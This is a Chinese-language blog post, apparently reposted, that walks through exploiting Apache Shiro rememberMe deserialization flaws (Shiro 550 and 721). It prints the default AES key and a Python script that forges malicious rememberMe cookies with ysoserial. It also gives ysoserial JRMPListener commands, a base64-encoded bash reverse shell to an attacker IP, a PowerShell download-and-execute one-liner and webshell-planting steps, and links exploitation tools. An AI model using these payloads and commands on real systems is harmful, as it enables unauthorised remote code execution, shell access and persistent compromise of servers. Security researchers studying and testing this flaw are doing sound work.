一次關於shiro反序列化漏洞的思考


 

0x01前言

之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),簡單說了一下反序列化漏洞,也提了一嘴常見的幾種Java框架的反序列化漏洞

當時沒想繼續說的,但是因為最近正好遇到了,就再來說說關於Apache shiro Java反序列化漏洞的一點思考(本文特指shiro rememberMe 硬編碼密鑰反序列化漏洞即shiro 550,不是Shiro Padding Oracle Attack那個shiro 721的----------------更新:shiro 721的內容在文末補充上了,師傅們捧個場啊)

 

Apache shiro是一個Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro的易於理解的API,可以快速、輕松地獲得任何應用程序,從最小的移動應用程序到最大的網絡和企業應用程序

三個核心組件:Subject,SecurityManager 和 Realms

 

。。。。。。

 

問題不在這里,問題出在哪里?在shiro1.24及其之前(小於等於1.24)的版本中,shiro框架存在反序列化漏洞(加密的用戶信息序列化后存儲在名為remember‐me的Cookie中,攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令)

這是個16年的老洞了,但是由於其payload加密而且沒啥攻擊特征,所以放到現在仍然不過時(吧)

 

0x02 漏洞原理

補充上一點中所說,shiro框架有“記住我”的功能(rememberme),用戶登錄成功后會生成加密編碼后的cookie,cookie是經過序列化,aes加密再base64編碼處理后得到的,它的key值就是rememberme

所以服務端對應這個處理順序,逆過來處理就是先獲取rememberme cookie,再解碼base64,再解密aes,最后反序列化

這個過程中,利用到了序列化與反序列化,但是此漏洞並不是有序列化反序列化這個過程,就能利用的,由流程可知,想要完整利用成功還需要aes密鑰

誒,問題就出在這個密鑰身上

眾所周知,aes是一種對稱加密算法,一旦密鑰泄露后果不堪設想

1.2.4之前aes密鑰是硬編碼在代碼中的,base64編碼后值就是這個kPH+bIxk5D2deZiIxcaaaA==,就是它沒有第二個

這不就完了嗎,攻擊者構造惡意對象序列化搞一波?

(另:原則上來說只要你獲得了rememberme的aes密鑰key,一切版本shiro都有反序列化漏洞,盡管后面的shiro版本不再采用硬編碼aes密鑰,但是希望那些別有用心(別看我,我不知道)去GitHub中搜集別人開源框架中top多少多少shiro密鑰的人耗子尾汁,沒事搜一下setCipherKey(Base64.decode看看,是不是已經泄漏了,最好不要用網上的密鑰(shiro key top100:https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA),自己生成不香嗎)

 

0x03漏洞發現

抓包,如果返回包中set-cookie中如果發現rememberMe=deleteMe,那這就是一個shiro框架妥妥的,可以有端聯想,大膽假設(或者發現url中有沒有什么cas)

fofa的搜索關鍵詞:header="rememberme=deleteMe"、header="shiroCookie"什么的,可以看到大量相關站

 

 

 

關於檢測,網上有很多腳本工具

思路大體都是先獲得密鑰(通過不講武德所搜集到的泄露的KEY不斷進行匹配測試。注:shiro 1.4.2之前采用aes-CBC加密,而1.4.2之后采用aes-GCM加密,這個寫腳本代碼加密時需要注意,兩者加密方式的區別,要想寫通用的腳本就要把兩種加密都寫上,參考: https://xz.aliyun.com/t/8445、https://blog.csdn.net/qq_34236803/article/details/110958868)

 

 

然后借助ysoserial.jar生成payload,相應平台(ceye.io或dnslog.cn或JRMP)會收到各種請求

比較常規的一個CBC加密編碼腳本(這里采用了默認key,可以視情況更換)

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

 運行:python 此腳本名.py IP:端口

然后把生成的rememberMe=什么什么

一並往請求包中的cookie里一扔,發過去

執行java -cp ysoserial.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections4 “ping 某某某.dnslog.cn”    

 然后趕緊跑回去看www.dnslog.cn,refresh一下,如果成功會看到顯示出的IP數據

 當然不一定就是我寫的那個語句用CommonsCollections4,實際上具體利用鏈可能有不同,我只是說一下這個思路

 

幾個腳本工具,用於檢測shiro反序列化漏洞:

https://github.com/sv3nbeast/ShiroScan

https://github.com/insightglacier/Shiro_exploit

https://github.com/teamssix/shiro-check-rce

 

兩款被動burpsuite插件:

https://github.com/pmiaowu/BurpShiroPassiveScan

https://github.com/amad3u4/ShiroScanner/

 

 

 

當然具體有哪些gadget可用,需要自行探測,每種情況下可以利用的gadget的數量和種類都是不同的 (什么CommonsCollections1、CommonsCollections2、CommonsCollections3、CommonsCollections4、CommonsCollections8、CommonsCollections10、CommonsBeanutils1等等。。。都是可能的,有些靶場固定了gadget的類型,方便你復現,但實際上不一定)

此處推薦大佬圖形化探測利用一體化工具,懶人福音:https://github.com/feihong-cs/ShiroExploit-Deprecated

 

有key有可用的gadget,確實存在shiro反序列化漏洞,就可以開搞了

 

如果目標服務器可以出網,可以嘗試結合平台檢測

如果目標服務器不能出網,則選擇回顯檢測

shiro  的好基友是Tomcat,所以很多利用是結合Tomcat的,將問題轉化為tomcat回顯

但是。。。結合tomcat的方法問題很多,生成的payload會過大啦,受到tomcat版本限制啦。。。

可以參考:https://xz.aliyun.com/t/7535

 https://www.cnblogs.com/potatsoSec/p/13060261.html

https://www.cnblogs.com/potatsoSec/p/13381019.html

https://zhuanlan.zhihu.com/p/114625962

 

0x04 漏洞利用

 

常見利用方式

1.反彈shell

Linux下:

舉個例子,復現就不復現了,這輩子都不可能寫復現的,很多師傅有詳細過程,簡單說一下流程

原理和上述ping dnslog平台的原理一樣,只不過把“ping 某某某.dnslog.cn”這個操作改成反彈shell的操作

然后我一邊反彈,另一邊監聽


(1)先在攻擊機本地監聽某端口(例如2333)


nc -lvp 2333

bash -i >& /dev/tcp/192.168.25.203/2333 0>&1

將上述命令base64編碼后放到“編碼后”處  bash -c {echo,編碼后}|{base64,-d}|{bash,-i}

即:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjIwMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}

 

 (2)然后執行(假設這里采用CommonsCollections4),通過ysoserial中JRMP監聽模塊,監聽6666端口並執行反彈shell命令

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjIwMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}'

 

 (3)腳本生成上文那種rememberMe=什么什么  的payload,加到cookie中發過去(注意:這次的  python 此腳本名.py IP:端口  這里的端口是6666)

 

 (4)然后我就會在nc監聽的2333端口獲得目標服務器shell

 

windows下:

則可以通過powershell

powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:xxxx/xxx.xx'))......

類似這種命令來聯動一些CS啦、ps1啦來搞

(上傳下載的方法有很多,后續有空說說這部分)

 

 當然以上一切的前提是攻擊機VPS、目標服務器網絡條件允許,我能接收到此shell

 

2.寫入webshell

可以找一個靜態資源的URL ,比如網站的什么圖片什么驗證碼什么的,往資源所在目錄中寫shell,或者往其他什么地方的已知的web路徑寫shell,然后訪問webshell

再次推薦飛鴻師傅的https://github.com/feihong-cs/ShiroExploit-Deprecated

 一步到位(另:不僅shiro550,shiro721也可以采用此工具利用,利用方式有所區別,具體參考開發者自述)

這個馬,可以是上面這個工具生成的,也可以是用什么蟻劍、冰蠍的馬替換掉工具本身的馬

 

但是目前吧。。。文件類型的webshell已經退環境了,內存馬還可一用

可以參考此文:https://localhost01.blog.csdn.net/article/details/107340698

 

 

參考文章:https://zhuanlan.zhihu.com/p/170393917

 

2021.3.9內容補充

 -------------------------------------------------------------------------------------------------

額,做人不能半途而廢,,,

翻來覆去睡不着。。。

順便把shiro 721的內容也補一下好了

 

正如我前文所說( Padding Oracle Attack----POA):

1.4.2及之前的shiro版本采用了aes-CBC加密,可以結合有效的RememberMe cookie作為Padding Oracle攻擊的前綴,然后精⼼制作rememberMe來進⾏反序列化攻擊

 

有幾個問題:

padding oracle攻擊干了點啥?       它可以在沒有獲得key的情況下,繞過密鑰key實現對密文的加解密(具體實現機制請參考:https://zhuanlan.zhihu.com/p/94970620)

那么為什么需要RememberMe cookie?    由於shiro要求先獲取用戶信息,獲取有效用戶信息之后才會進入下一階段流程,所以需要RememberMe cookie

翻譯翻譯什么TMD的叫TMD把“有效的rememberMe 作為Padding  Oracle攻擊的。。。前綴”?  字面意思,為了不影響反序列化,把合法的rememberMe cookie做前綴,往rememberMe cookie數據后面加數據(詳細參考:https://www.anquanke.com/post/id/193165)      

 

所以,相比shiro 550 ,shiro 721 不需要知道key的值,但是需要合法用戶的RememberMe cookie

 

服務端處理流程還是:得到rememberMe的cookie值–>Base64解碼–>AES解密–>反序列化

 

 

首先需要登錄網站從有效用戶的cookie中獲取rememberMe字段的值

利用與檢測方法參考:

https://www.cnblogs.com/backlion/p/14077791.html

https://www.cnblogs.com/xiaozi/p/13239046.html

思路大體是獲得合法的rememberMe cookie,用ysoserial生成payload,然后利用padding oracle 方法攻擊腳本 結合 合法的rememberMe cookie與payload   生成惡意的rememberMe cookie,然后采用這個惡意的rememberMe cookie重放攻擊目標,最后在目標中 生成文件 或 有dnslog 回顯IP證明漏洞存在

 

或者直接使用飛鴻師傅的那個工具:https://github.com/feihong-cs/ShiroExploit-Deprecated

 

 把獲得的rememberMe cookie加進去

 

 

未經允許,禁止轉載

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM